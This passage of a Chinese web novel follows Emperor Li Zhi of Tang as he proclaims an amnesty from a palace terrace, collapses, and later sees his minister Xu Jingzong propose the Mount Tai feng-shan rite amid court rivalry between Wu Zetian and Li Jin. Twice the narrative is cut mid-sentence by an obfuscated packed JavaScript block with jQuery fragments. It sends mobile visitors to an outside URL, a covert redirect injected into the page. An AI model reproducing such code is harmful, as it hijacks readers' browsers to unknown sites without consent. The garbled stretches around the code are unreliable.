武则天手中的动作几不可察地顿了顿,随即恢复如常,柔声道:“陛下何出此言?陛下乃真龙天子,万民仰望。陛下静养,是为社稷积蓄福泽,百姓岂能不知?陛下安心休养便是。”
“光是静养,还不够。”李治转过头,目光直视武则天,那双深陷的眼中,闪烁着一种奇异的、混合着虚弱与执拗的光芒,“朕想……做点什么。为这天下,也为朕自己。”
“陛下想做什么?只要于龙体无碍,臣妾自当尽力安排。”武则天的声音依旧平稳,但眼神中已带上了警惕。
李治缓缓地、一字一句地说道:“朕想……择一吉日,登临宫中天台,大赦天下,以感念上苍庇佑,祈愿风调雨顺,国泰民安。也让长安的百姓,都看看,朕……还好好的。”
寝殿内霎时一片寂静。连侍立在不远处的王德真,都惊得倒吸一口凉气,腿肚子微微发软。登天台?大赦?以陛下如今的身体……这简直是拿性命开玩笑!
武则天脸上的温婉神色,在这一刻彻底凝固了。她看着李治,看着他眼中那不容置疑的、近乎偏执的光芒,心中瞬间闪过无数念头。陛下这是……不甘心?想要重新站到人前?想要用这种方式,宣告他的“存在”和“权威”?大赦天下,收揽民心,这确实是帝王彰显恩德、巩固统治的最佳手段之一。只是,为何偏偏是这个时候?为何要用如此冒险的方式?
她几乎立刻就想到了李瑾。是丁,定是那日李瑾觐见后,对陛下说了什么!是那些关于“共享”、“同辉”的话语,刺激了陛下,让他生出这等念头?李瑾……他究竟是何用意?是真心为陛下解开心结,还是……另有所图?
“陛下,”武则天的声音依旧柔和,却带上了几分凝重,“陛下有此仁心,感念上苍,泽被黎庶,实乃万民之福。然大赦之事,关乎国典,仪式繁重。天台高耸,风大寒重,陛下圣体初愈,岂可轻涉险地?若有差池,臣妾……臣妾万死莫赎。不若由臣妾代陛下登台,或于宫中正殿颁布赦诏,亦是一般恩德。”
“不。”李治回答得斩钉截铁,语气是从未有过的强硬,“朕要亲自去。朕是皇帝,大赦天下,是天子之权,是朕对万民的恩典,岂可假手他人?即便是你,也不行。”
他盯着武则天的眼睛,缓缓补充道:“媚娘,你为朕,为这江山,操劳已多。这一次,让朕自己来。朕要让天下人都知道,这恩典,出自朕躬。朕要让那些流言,不攻自破。”
话说到这个份上,其中的意味已经再明显不过。武则天沉默了。她与李治对视着,从丈夫眼中,她看到了久违的帝王威严,看到了深藏的病弱之下的倔强,也看到了一丝近乎哀求的意味。他在用这种方式,争取他最后的尊严和“存在感”。如果她断然拒绝,会怎样?会激化矛盾,会让陛下那刚刚“好转”的病情再次恶化,甚至……会让他彻底倒向某些不可测的方向?
她想起那夜李治的托付,想起李瑾可能的“进言”,想起朝野间那些微妙的流言。或许,让陛下完成这个心愿,让他“彰显”一次,反而能让他真正“释怀”,更能稳固“帝后一体”的形象,也能堵住一些人的嘴?
风险与收益,在武则天心中飞快权衡。片刻之后,她脸上重新绽开温婉而顺从的笑容,仿佛刚才的凝重从未出现过。她轻轻握住李治枯瘦的手,柔声道:“陛下既有此心,臣妾岂敢不从?只是,陛下务必要答应臣妾,一切仪程从简,务以龙体为要。登台之时,需加厚衣裘,时辰不可过久。臣妾会命太医署精心准备,全程随侍。若陛下稍感不适,必须立刻中止。如此,臣妾方能放心安排。”
这已是最大的让步和妥协。李治心中暗暗松了口气,他知道,媚娘同意了。他反握住武则天的手,力道微弱,却带着一丝感激:“好,朕答应你。一切都依你安排。”
消息很快从宫中传出。皇帝陛下圣体渐安,为感念天恩,泽被四海,特旨于二月二“龙抬头”之吉日,亲登宫中天台,大赦天下!
朝野震动。有人欣喜陛下康复,有人疑虑陛下身体能否支撑,更有人敏锐地察觉到,这不仅仅是一次普通的大赦,更是一次意味深长的**姿态。不少老臣暗自感慨,陛下这是不甘寂寞了。而一些原本就亲近天后的官员,则心中打鼓,不知此举会对朝局产生何种影响。
最忙碌的,莫过于礼部和太常寺。大赦典礼仪程繁复,时间仓促,又需兼顾皇帝病体,一切从简却又不能失却皇家威严,着实让他们挠头。紫宸殿中,武则天亲自过问典仪细节,对每一个环节都斟酌再三,确保万无一失,尤其是皇帝登台、驻跸、宣诏时的安全与舒适。她甚至下令,将天台汉白玉栏杆用厚厚的锦毡包裹,台阶铺上防滑的波斯地毯,四周悬挂挡风的锦帷。
李瑾在枢密院听到消息时,手中批阅文书的朱笔微微一顿。他走到窗边,望着皇宫方向,目光深远。陛下终究是走出了这一步。是他那番话的作用吗?或许。但更重要的是,陛下心中那团不甘的火,从未熄灭。登台大赦,既是彰显存在,恐怕也是为那更宏大的“共享”图景,做一次预演和铺垫吧。他轻轻叹了口气,不知是欣慰,还是忧虑。
二月二,龙抬头。春寒料峭,但天色澄碧,阳光难得地明媚。一大早,长安城的百姓便扶老携幼,涌向皇城方向。虽然他们无法进入宫禁,看不到天台的盛况,但大赦的消息早已传遍,人人都想离那皇恩更近一些,沾沾喜气,也为了一睹或许能远远望见的、皇帝陛下的仪仗。
皇宫之内,气氛肃穆而紧张。长生殿前,御辇早已备好。李治今日穿上了久违的明黄色衮冕,虽然那宽大的礼服穿在他消瘦的身上显得有些空荡,脸上也施了薄薄的脂粉以掩盖病容,但那双深陷的眼睛,却闪烁着一种异样的、近乎亢奋的光芒。在数名身强力壮的内侍小心翼翼、几乎是半抬半扶下,他坐上了御辇。
武则天今日亦盛装出席,头戴九龙四凤冠,身着深青祎衣,站在御辇旁。她的神情平静庄重,目光不时关切地扫过李治。太子李弘身着储君冠服,侍立在另一侧,脸色因激动和紧张而微微发红,眼中充满了对父亲的担忧与崇敬。
“起驾——”礼官高亢的唱喏声响起。仪仗缓缓启动,旌旗蔽日,伞盖如云,卤簿威严。内侍宫人、文武百官(有资格入宫观礼者)分列道旁,躬身肃立。队伍穿过重重宫门,朝着宫中地势最高、专为祭祀告天而建的“天台”行进。
这段路程并不长,但对李治而言,却仿佛跋涉了千山万水。御辇微微颠簸,寒风透过帘隙吹在脸上,带来刺骨的凉意。他感到一阵阵头晕,胸口发闷,但他紧紧抓着御辇的扶手,指甲几乎要嵌进木头里,强迫自己保持清醒,挺直脊背。他要让所有人看到,他还能挺直脊背!
终于,天台在望。那是一座高达九丈的汉白玉圆台,耸立在皇宫的至高处,四周空旷,唯有风声呼啸。台阶共九十九级,象征九九至尊。此刻,台阶上铺着猩红的地毯,两侧站着盔甲鲜明的金吾卫,旌旗在风中猎猎作响。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045322|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
御辇停下。内侍掀开帘幔。李治深吸一口气,在武则天和李弘一左一右的搀扶下,缓缓起身,踏出御辇。双脚落地,一阵虚浮,他晃了晃,立刻被两人更紧地扶住。
“父皇……”李弘担忧地低唤。
“朕没事。”李治的声音不高,却异常坚定。他抬头,望向那高高的、仿佛通向天际的白玉台阶,眼中燃烧着火焰。
登台。
一步,两步,三步……每一步都异常沉重,呼吸越来越急促,眼前阵阵发黑,寒风像刀子一样割在脸上。但他咬紧牙关,目光只盯着前方,盯着那越来越近的台顶。武则天和李弘几乎是架着他,承受着他大半的重量,三人以一种近乎悲壮的姿态,缓慢而坚定地向上攀登。王德真带着几名最健壮的内侍紧随其后,随时准备接手。礼官和百官们在台下屏息凝神,仰望着这震撼的一幕。
时间仿佛被拉长了。不知过了多久,仿佛一个世纪那么漫长,李治的脚踏上了最后一级台阶,站到了天台之巅。
刹那间,狂风扑面,视野豁然开朗。整个长安城,万千里坊,巍峨宫阙,尽收眼底。阳光毫无遮挡地洒落,照在他明黄的衮冕上,反射出耀目的光芒。他感到一阵剧烈的眩晕,几乎站立不稳,但他死死抓住身旁两人的手臂,强迫自己站稳,挺起胸膛,面向南方,面向那芸芸众生、翘首以盼的方向。
礼官唱诵祷文,声音在风中飘散。太常寺卿奉上赦诏。李治伸出手,那手枯瘦颤抖,却异常稳定地接过了那卷沉甸甸的、以黄绫为封的诏书。
他展开诏书,明黄色的绸缎在风中微微抖动。他深吸一口气,用尽全身的力气,将声音送出喉咙。那声音沙哑、干涩,甚至因气短而断断续续,却带着一种奇异的、穿透狂风的力量,通过礼官的接力传扬,回荡在空旷的天台上下,也通过等候在宫门外的传令官,即将飞向帝国的每一个角落:
“朕,绍膺景命,临御万方……荷天地之灵,赖祖宗之休,托皇后之助,倚群臣之力……四海粗安,兆民乐业……然朕以眇身,获承大宝,夙夜忧惕,恐忝先业……迩年以来,圣体违和,静养深宫,政多委于皇后,军机托于枢府……幸赖皇天后土,列祖列宗庇佑,沉疴稍退,渐获康宁……感念上苍好生之德,体察下民望治之心……特于兹吉日,登台告天,大赦天下!”
“……自今日昧爽以前,大辟罪已下,已发觉未发觉,已结正未结正,罪无轻重,咸赦除之!惟十恶、故**、官典犯赃、监主掌自盗,不在此限……鳏寡孤独,不能自存者,所在州府,量加赈恤……天下百姓,今年租庸,并宜放免……”
诏书很长,列举了诸多恩典。李治念得很慢,很吃力,额头上渗出细密的冷汗,在阳光下闪烁。但他坚持着,一字一句,清晰地念出。他要让所有人都听到,这恩典,是他李治赐予的!是他这个皇帝,在经历了漫长的病痛和“沉寂”之后,重新向他的子民,彰显他的仁慈与权威!
武则天站在他身侧半步之后,微微垂首,目光落在李治因用力而颤抖的指尖,和那被风拂动的、略显宽大的衮冕衣袖上。她的脸上没有任何表情,只有一种深沉的静默。她知道,此刻全天下仰望的目光,都聚焦在这个男人身上。这是他的时刻。而她,这位“助”他理政、“倚”他之力的皇后,正恰到好处地,站在他光芒所能照耀的范围内,既分享了这份荣耀,又凸显了他的至高无上。
李瑾站在台下百官的最前方,仰头望着高台上那三个在风中显得有些单薄,却又无比清晰的身影。帝、后、储君。阳光为他们勾勒出金色的轮廓。他看到了李治眼中的光,看到了武则天沉静的侧影,也看到了太子李弘那混合着激动、担忧与孺慕的神情。这一刻,无比和谐,也无比……脆弱。他知道,陛下想要的,绝不止于此。这次大赦,或许只是那场更宏大、也更危险的“共享”盛宴的……开胃前菜。
终于,冗长的赦诏念完了最后一句:“布告遐迩,咸使闻知。钦此!”
李治仿佛用尽了最后一丝力气,手一松,赦诏被礼官恭敬接过。他身体晃了晃,眼前彻底一黑,向后倒去。
“陛下!”武则天和李弘同时惊呼,死死扶住他。王德真和内侍们一拥而上,用早已准备好的软轿,将几乎虚脱的皇帝小心抬上,迅速而平稳地向台下转移。仪式在瞬间的慌乱后,由礼官接手,有条不紊地继续进行,完成最后的祭告环节。
但所有人的心,都已跟着那顶匆匆离去的软轿,沉了下去。陛下……终究是强撑着完成了这一切。
软轿被以最快的速度抬回长生殿。御医早已候在那里,一阵忙乱之后,诊脉,施针,灌药。李治昏睡了整整一天一夜,才再次悠悠转醒,脸色比登台前更加灰败,但眼神深处,却有一种奇异的心满意足,甚至带着一丝笑意。
“朕……做到了。”他对守在一旁、眼圈微红的武则天,轻声说道。
武则天握着他的手,点了点头,声音有些发涩:“陛下做到了。万民都看到了,都感念陛下天恩。”
李治闭上眼,嘴角的笑意更深了些。是的,他做到了。他重新站在了世人面前,以天子的身份,颁布了恩诏。那些“只知天后、李公”的流言,今日之后,至少会消散一些吧?他李治的名字,再一次,如此鲜明地,烙印在了这大唐的天空之下。
至于那更遥远的泰山,那“日月同天”的幻梦……他似乎,又看到了一丝微光。
第200章 脆弱的平衡
一场耗尽心力的天台大赦,如同一枚投入深潭的石子,在波诡云谲的大唐朝局中,漾开了层层叠叠、经久不息的涟漪。
表面上看,皇帝陛下“圣体稍安”,并能“登台施恩”,自然是天大的喜讯。朝野上下,贺表如雪片般飞入宫中,称颂陛下“仁德感天”、“沉疴尽去”、“天命所归”的言辞不绝于耳。市井坊间,百姓感念大赦之恩,亦多有称颂皇帝仁慈之声。似乎那一日高台上寒风中摇摇欲坠的身影,真的预示着“**”陛下即将摆脱病魔,重掌乾坤。那些曾暗暗流传的、关于“只知天后、李公,不知陛下”的流言蜚语,在这铺天盖地的颂圣声中,确然暂时低伏了下去。
然而,长生殿内,又是另一番光景。强撑登台的后果,远比预想的更为严重。李治在仪式结束后便昏厥过去,被抬回寝殿后,连续数日高热不退,呓语不断,将太医院搅得人仰马翻。武则天衣不解带地守了几日,直到御医战战兢兢地禀报“热毒已退,暂无大碍,然元气大伤,需长期静养,万不可再行操劳、更不可受风受寒”,她才疲惫地揉了揉眉心,回到紫宸殿处理积压的政务。
李治再次醒来时,已是数日之后。身体仿佛被彻底掏空,连抬手的力气都微乎其微,视线模糊,耳中嗡鸣。但奇怪的是,他的精神却有一种诡异的亢奋。那日高台之上,俯瞰长安、万民仰望、亲口颁布恩诏的感觉,如同最醇厚的烈酒,在他枯竭的心田里留下了滚烫的烙印。即便此刻躺在病榻上动弹不得,那种“朕仍在位”、“朕仍可乾纲独断”的虚幻满足感,仍支撑着他,让他灰败的脸上,偶尔掠过一丝异样的神采。
他开始更加频繁地召见近臣,哪怕只是说上一两句话,听几句无关紧要的奏报。他开始对某些原本已不过问的“小事”发表意见,比如过问一下太子近日读了什么书,或者对某个边远州县的祥瑞表示一下嘉许。他甚至重新拾起了对道家炼丹术的兴趣,密令心腹宦官,暗中寻访有名望的“仙师”和“丹方”。这一切,都通过王德真或其他眼线,迅速传递到武则天的案头。
武则天对此的反应,是一种近乎淡漠的平静。她将李治这些“振作”的迹象,理解为帝王病中脆弱自尊心的最后挣扎,以及那次危险的天台之行带来的、短暂的回光返照。她不再像从前那样,对皇帝过问政务表现出警惕或抵触,反而更加“顺从”。皇帝若有指示,只要不涉及军国根本,她多半会照办,甚至会在朝会上特意提及“此乃陛下圣意”,将皇帝的“存在感”烘托得十足。但涉及官员任免、赋税调整、边防调度等核心事务,她依旧乾纲独断,只是在最终用印前,会派王德真将文书送至长生殿“请陛下过目”——至于皇帝是否有力气、有心思“过目”,那便是另一回事了。
这是一种更高明的、带着怜悯的“架空”。她给予皇帝表面上的尊重和舞台,满足他那点可怜的表现欲,却牢牢掌控着实际的权柄。她甚至鼓励皇帝“多关心”太子学业和李瑾主持的枢密院“琐事”,仿佛在说:陛下,您就安心养病,看看书,问问家常,国事有臣妾和梁国公呢。
李治并非全然不知。他能感觉到那份“顺从”下的疏离与实质上的隔离。但他选择了接受——至少表面接受。因为他有了新的、更宏大的目标。天台大赦的成功,极大地刺激了他。那不仅是“彰显存在”,更是一次成功的“预演”。它证明,只要他愿意,只要他还能站起来,他依然是大唐名义上至高无上的主宰,依然能获得万民的欢呼与朝臣的跪拜。
那么,比大赦更盛大、更神圣、更能“定鼎身后名”的泰山封禅呢?李瑾描绘的那个“日月同天,二圣共治,功盖古今”的图景,如同魔鬼的呓语,日夜在他脑海中盘旋,越来越清晰,越来越具有诱惑力。他开始在精神稍好的时候,让王德真找来历代关于封禅的典籍,尤其是本朝太宗皇帝当年欲行封禅而未成的记载,反复翻阅。他会在武则天来问安时,状似无意地提起:“听说兖州今年风调雨顺,是个好年景。”或者“泰山郡守的贺表写得颇有文采。”甚至有一次,他握着武则天的手,望着帐顶,喃喃道:“媚娘,你说,朕若是能效仿古之圣王,行封禅大典,告成功于天地,后世史笔,会如何写朕?”
武则天每次都会温柔地回应,将话题引开,或是以“陛下龙体为重,待圣体大安,何事不可为”轻轻带过。但她的眼神深处,警惕的寒光,一次比一次锐利。她太了解自己的丈夫了。这不是一时兴起的感慨,这是野心的萌芽,是垂死之人对不朽声名的最后、也是最疯狂的渴求。而李瑾那日究竟对陛下说了什么,才会让陛下生出“封禅”、甚至“二圣同祭”这等惊世骇俗的念头?
她没有直接去问李瑾。他们之间有一种无需言说的默契。在朝堂上,在涉及国政时,他们是配合无间的盟友。但在涉及皇帝,涉及最高权力归属的敏感地带,他们都保持着谨慎的距离和必要的沉默。武则天只是通过北门学士,更严密地监控着长生殿的一切动向,也留意着李瑾在枢密院的一举一动。她需要判断,李瑾那个“共享”的建议,究竟是出于稳定朝局的公心,还是藏着更深的、她尚未看透的个人图谋。
朝堂之上,因为这微妙的帝后关系变化,呈现出一种奇特的“平衡”局面。
以许敬宗、李义府为首的一批“拥后”派官员,依旧紧紧追随武则天的步伐,但行事比以往更加“规矩”,至少在表面上,对皇帝的旨意(哪怕只是随口一提)表现出足够的尊重。他们似乎得到了某种授意或暗示,不再像过去那样,公然将“天后旨意”置于“陛下圣裁”之前。
而一些原本对皇后干政心存不满、暗中同情皇帝的老臣,如刘仁轨、郝处俊等,在目睹了皇帝登台大赦的“英姿”后,似乎又看到了一丝希望。他们上疏时,开始有意无意地强调“陛下圣明”、“仰赖陛下乾断”,虽然实际的政务裁决权依然在紫宸殿,但这至少是一种态度,一种对皇权“回归”的期盼和声援。两派之间,少了几分以往的剑拔**张,多了几分心照不宣的谨慎与观望。
真正处于这平衡核心的,是太子李弘和梁国公李瑾。
李弘的日子并不好过。父皇那夜的沉重托付言犹在耳,母后日益严厉的教导和越发繁重的政务见习压得他喘不过气。他仁孝,聪慧,但性格偏于文弱敏感。他既渴望得到父母的认可,又常常感到无力承受他们的期望。父皇似乎在“好转”后,对他过问更多,但问的多是经史诗文、圣人教诲,对他的理政建议,往往只是淡淡点头,不置可否。而母后则截然相反,她要求严格,批阅他的政务笔记时常毫不留情,对他在朝会上不够果断的表现也会私下斥责。他感觉自己像被两股方向不同的力量拉扯着,无所适从。他开始更频繁地前往梁国公府,似乎只有在温和睿智、从不给他压力的李瑾那里,才能找到片刻的放松和真正的指引。
李瑾的处境则更为微妙。他是皇帝“释怀”与“托付”的对象,是皇后在朝堂上最重要的军政盟友,也是太子依赖的师长。他像一根坚韧的丝线,维系着这三角关系中脆弱的稳定。他比任何人都清楚这“平衡”有多么脆弱——它建立在皇帝对身后名的渴望、皇后对实际权力的掌控、以及太子尚未成熟的现实之上,任何一方的念头变动,或是外部一个意外冲击,都可能让这平衡瞬间倾覆。
他谨慎地扮演着自己的角色。在枢密院,他雷厉风行,推进募兵改制,整饬边防,但所有重大决策,都会形成详尽的条陈,同时报送紫宸殿和长生殿“御览”。他定期入宫探视皇帝,汇报军务,言语间一如既往地恭敬忠诚,偶尔也会顺着皇帝的话头,探讨几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045323|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
句“古之圣王封禅以彰功德”的典故,但从不深谈,更不主动提起。在紫宸殿,他恪守臣子本分,与皇后商议国事,只论军政,不及其他,对皇后日益增长的权威,表现出理所当然的服从。
他甚至开始有意无意地“退”。在一些无关紧要的人事安排或琐碎政务上,他不再像以往那样坚持己见,反而更多地附和天后的决定。他深知,在皇帝试图“彰显存在”、皇后牢牢掌握实权的当下,自己这个“权臣”的角色,必须更加低调,更加无可指摘。他的根基在军队,在边境,在那些他一手提拔、浴血奋战出来的将领心中。只要军队稳,边防固,他李瑾的地位就无人可以真正动摇。朝堂上的进退得失,不过是细枝末节。
这一日,李瑾从枢密院下值回府,天色已晚。刚踏入书房,便有心腹幕僚呈上一封密信,信是匿名的,但笔迹他认得,来自一位在礼部任职、品级不高却位置关键的老友。信中只有寥寥数语,提及近来太常寺和礼部,奉天后谕旨,暗中调阅、整理了大量历代帝王封禅泰山的典章仪注、舆服车驾、祭祀乐章等旧档,似乎是在为某项“大典”做前期的资料准备。但此事进行得极为隐秘,若非职责相关,绝难察觉。
李瑾捏着信纸,在灯下沉默了许久。火焰在琉璃灯罩中跳动,映得他棱角分明的脸庞忽明忽暗。终于,他缓缓将信纸凑近灯焰,看着火舌舔舐纸角,迅速蔓延,化为一小撮灰烬,飘落在冰冷的铜盂里。
“泰山封禅……”他低声自语,嘴角泛起一丝极淡的、难以言喻的弧度。皇后的动作,好快。看来,陛下那点心思,终究是没能瞒过她。她这是在未雨绸缪,还是在……顺水推舟?
他走到窗前,推开一丝缝隙。初春的夜风带着寒意涌入,驱散了书房内沉闷的气息。远处,皇宫的方向,灯火璀璨,如同匍匐在黑暗中的巨兽,睁着无数只冰冷的眼睛。那里面,有渴望不朽的帝王,有掌控实权的天后,有彷徨无措的太子,有各怀心思的朝臣。
他提出的“共享”理念,像一颗投入死水的石子,激起了远超预想的波澜。皇帝抓住了“封禅”和“身后名”这根稻草,皇后则开始暗中布局,掌控这波“波澜”的走向。而他自己,这个始作俑者,则必须更加小心地走在这刚刚达成、却薄如蝉翼的平衡木上。
这平衡,是真实的,也是虚幻的。它建立在皇帝残存的健康、皇后暂时的容忍、以及他李瑾如履薄冰的维系之上。任何一点风吹草动——皇帝的病情反复,皇后对权力的进一步渴求,太子与皇后矛盾的激化,或是朝中某一派的突然发难——都可能让它瞬间崩解。
但至少目前,它存在着。各方都在这个微妙的框架下,找到了暂时的、各自能接受的位置。皇帝得到了尊严的慰藉和未来的幻想,皇后巩固了权力并开始谋划更宏大的图景,太子在夹缝中学习成长,朝局在一种心照不宣的默契下维持着运转。
李瑾关上了窗,将寒意与远处的灯火一并隔绝。书房内重归温暖与宁静。他知道,这脆弱的平衡不会持续太久。泰山封禅,无论最终以何种形式实现,都必将成为打破现有格局、重新划分权力版图的重大事件。而在那之前,他需要积蓄更多的力量,看清更多的方向,准备好应对一切可能的变局。
他坐回书案后,铺开一张雪白的宣纸,提起笔,却久久没有落下。墨汁在笔尖凝聚,最终,滴落在纸上,晕开一小团浓重的黑影,如同这深不可测的夜色,也如同那前途未卜的朝局。
平衡,已然达成。
但这平衡,薄如春冰,脆如琉璃。
下一步,是小心翼翼维持这脆弱的平静,等待冰面自然加厚?
还是,有人会迫不及待,掷下一块巨石?
**。
他只知道,自己必须站在最核心的位置,准备好迎接即将到来的一切。
第201章 议封禅泰山
麟德二年的春天,似乎来得格外温煦,也格外漫长。长安城在经历了去岁末的动荡与天台大赦的喧嚣后,逐渐恢复了一种表面上的平静。然而,在这平静之下,一种难以言喻的、躁动而亢奋的气息,却如同地底奔涌的暗流,悄然酝酿,弥散在宫阙的每一个角落,浸润着朝堂上每一位官员的心绪。
长生殿内,李治的病榻生涯依旧,但“好转”的迹象似乎被小心翼翼地维持着。至少,他能坐起来的时间多了一些,能在宫人搀扶下,于殿内那方小小的、阳光充足的暖阁里,坐上半个时辰,翻看几页无关紧要的闲书,或是听王德真低声诵读几份经过精心筛选、无关痛痒的奏报摘要。他的气色依旧灰败,目光时而涣散,但每当听到“天下太平”、“四夷宾服”、“仓廪丰实”之类的字眼时,那双深陷的眼眸中,便会燃起两点幽微却执拗的火光。他开始更频繁地、看似无意地向武则天提及泰山的风物,提及太宗皇帝贞观年间欲行封禅而未成的憾事,提及古之圣王“功成治定,告成功于天”的盛典。每一次提及,都像羽毛轻搔,不重,却持之以恒,带着某种病态的偏执。
紫宸殿中,武则天批阅奏章的红笔,依旧行云流水,不曾有片刻停滞。对于皇帝日益明显的暗示,她报以恰到好处的温婉回应,将话题引向太医的叮嘱、太子的学业,或是某地新呈的祥瑞。然而,她案头堆积的、来自礼部、太常寺乃至将作监的关于历代封禅典仪、舆服、仪仗、沿途行宫修缮的密档,却一日厚过一日。她看得极慢,极仔细,朱笔偶尔在上面勾画一二,或写下寥寥数语的批注。她不再询问李瑾对此事的看法,仿佛那日李瑾在长生殿的“共享”建言从未发生过。但一种无声的默契已然形成——她在准备,以她一贯的、缜密到令人心悸的方式,为一场或许注定要来的、惊天动地的大典,做着最周全的预备。她深知,这不仅仅是一场祭祀,更是一场权力的加冕礼,一次对“天命所归”的终极宣告。而主角,绝不能再仅仅是她的丈夫。
朝堂之上,那脆弱的平衡依旧在小心翼翼地维系着。但一些嗅觉灵敏的官员,已经从帝后之间那日益微妙的气氛,从天后案头那些不同寻常的文书调阅记录,甚至从宫廷用度预算中某些项目的悄然增加,嗅到了不寻常的气息。尤其是那些依附于武则天、以揣摩上意为能事的官员,如礼部尚书许敬宗,更是心领神会,开始不动声色地收集、整理历代关于封禅的“祥瑞”记载、舆地志中关于泰山封祀的“灵异”传闻,并在与同僚的“闲谈”中,有意无意地流露出“当今天下大治,四夷咸服,百姓安乐,实乃千古未有之盛世,若行封禅,正当其时”的感慨。
暗流,渐渐涌向明处。
终于,在一个春光明媚、百官齐集的朔望大朝会上,这酝酿已久的议题,被以一种精心策划、却又显得“水到渠成”的方式,正式摆上了朝堂。
那日,含元殿内气氛庄严肃穆。御座之上,李治被内侍小心搀扶着端坐,虽然依旧消瘦,脸上敷了薄粉,身着厚重的十二章纹衮服,在冕旒的遮掩下,勉强维持着帝王的威仪。珠帘之后,武则天的身影端坐如常,凤冠上的珠翠在透过殿门的天光下,流转着沉稳而莫测的光泽。太子李弘立于御阶之下左侧首位,神情恭谨中带着一丝不易察觉的紧绷。李瑾则立于武将班次之前,身着紫色朝服,腰佩金鱼袋,低眉垂目,仿佛殿中一根沉默的立柱。
例行政务奏对已毕,殿中侍御史正欲宣布散朝,礼部尚书、同中书门下三品许敬宗,手持**笏板,缓步出列,行至御阶之下,深深一躬。
“臣,许敬宗,有本启奏**、天后陛下。”他的声音不高,却清晰沉稳,回荡在空旷的大殿中。
珠帘后的身影似乎微微动了一下。御座上的李治,放在扶手上的枯瘦手指,几不可察地蜷缩了一下。
“许卿有何事奏?”李治的声音透过冕旒传来,带着惯有的虚弱,却又有一种刻意的平稳。
许敬宗再次躬身,然后挺直脊背,目光似乎掠过珠帘,又迅速垂下,声音陡然提高,带着一种酝酿已久的、饱含激情的腔调:
“臣闻,古之圣王,受命于天,必登泰山,行封禅之礼,以告成功于皇天后土,彰盛德于四海八荒!昔者黄帝、尧、舜、禹、汤、周成,皆因时而封禅,垂范后世。及至秦皇汉武,亦踵而行之,虽德有厚薄,功有高下,其意一也!”
他顿了顿,目光扫过殿中凝神倾听的百官,继续道:“今我大唐,自高祖、太宗皇帝开基创业,削平群雄,混一区宇,奠定洪业。至**陛下,承贞观之遗烈,继往开来,励精图治。天后陛下,坤德配天,辅佐圣躬,日昃不遑,夙夜在公。内外文武,戮力同心。遂使天下晏然,海内昇平,仓廪实而知礼节,百姓安而乐其业。”
“东至于海,西逾流沙,南尽北户,北抵大漠,莫不率服,重译来朝。吐蕃请婚,突厥内附,高昌、龟兹,尽为郡县。去岁梁国公李瑾,复大破西陲叛逆,拓地千里,武功赫赫,远迈秦汉!此实乃上应天命,下顺人心,旷古未有之盛世也!”
他的声音越发激昂,带着一种近乎蛊惑的力量:“然而,自古明君,功成治定,必行封禅,以报天地,以显神祇,以告成功,以慰祖宗。今陛下、天后,功德巍巍,远超往昔。天下乂安,年谷屡登,符瑞叠至,此正天意昭昭,示以封禅之期也!若默而不告,是废天地之祀,违祖宗之灵,塞神祇之望,失万民之企,非所以承天心、从人欲也!”
“臣,忝为礼官,职在典仪,目睹升平,心驰盛典。伏惟**陛下、天后陛下,体乾行健,法天则地,俯察舆情,仰观天象。当此之时,顺天应人,登封泰山,刻石纪功,告成上帝,垂裕后昆,正在今日!臣谨冒死以闻,伏请陛下、天后,诏下有司,详议封禅之礼,择吉日,备法驾,以行旷世之典,以成不朽之业!”
一番洋洋洒洒、引经据典、极尽颂扬之能事的奏对,在偌大的含元殿中回响,余音袅袅。殿中一片寂静,落针可闻。所有人的目光,都聚焦在御阶之上,聚焦在那珠帘之后,聚焦在那御座之中。
许敬宗这篇奏对,无疑是一篇精心炮制的杰作。它将李治、武则天、乃至李瑾的功绩(尤其是李瑾的武功,被巧妙地作为“盛世”的注脚)捆绑在一起,抬到了“旷古未有”的高度,然后顺理成章地引出封禅之议。既迎合了皇帝对“身后名”的渴望,又彰显了皇后“辅佐”之功,还不动声色地将李瑾的功勋纳入“盛世”范畴,让人难以反驳。更重要的是,他将封禅与“天意”、“民心”、“祖宗之灵”紧密挂钩,占据了道德和礼法的制高点。
短暂的寂静后,是低低的哗然与骚动。百官们交头接耳,神色各异。有人面露激动,频频点头,似乎深以为然;有人眉头紧锁,若有所思;也有人垂首敛目,不敢轻易表态。
珠帘后,武则天的声音平静地响起,听不出喜怒:“许卿所言,乃老成谋国、颂扬盛世之论。封禅之事,关乎国体,非同小可。历代行之,必有符瑞屡现、年谷丰登、四夷宾服、天下无事之应。陛下与吾,虽夙夜惕厉,然德薄功微,岂敢妄比先圣?”
这是惯例的谦辞,是“三请三让”的开始。
许敬宗立刻接口,言辞更加恳切:“天后陛下过谦矣!今四海宴然,百姓乐业,符瑞之书,史不绝笔;嘉禾异亩,岁岁来献;麒麟白狼,屡现郊薮;远方殊俗,重译而至。此非符瑞屡现、四夷宾服而何?近岁以来,风雨以时,年谷丰稔,仓廪充溢,路不拾遗。此非天下无事而何?陛下、天后之德,上感苍穹,下动地祇,功盖千古,泽被万方。若此犹不敢行封禅,则古之圣王,复有何人可封禅耶?臣等伏请再三,唯愿陛下、天后,体天之心,从人之愿!”
随着许敬宗的话音,又有数名官员出列,齐声附和。多为武则天提拔的少壮派或依附于许、李(义府)的官员,言辞恳切,引经据典,将“盛世”、“天意”、“民心”翻来覆去地强调。
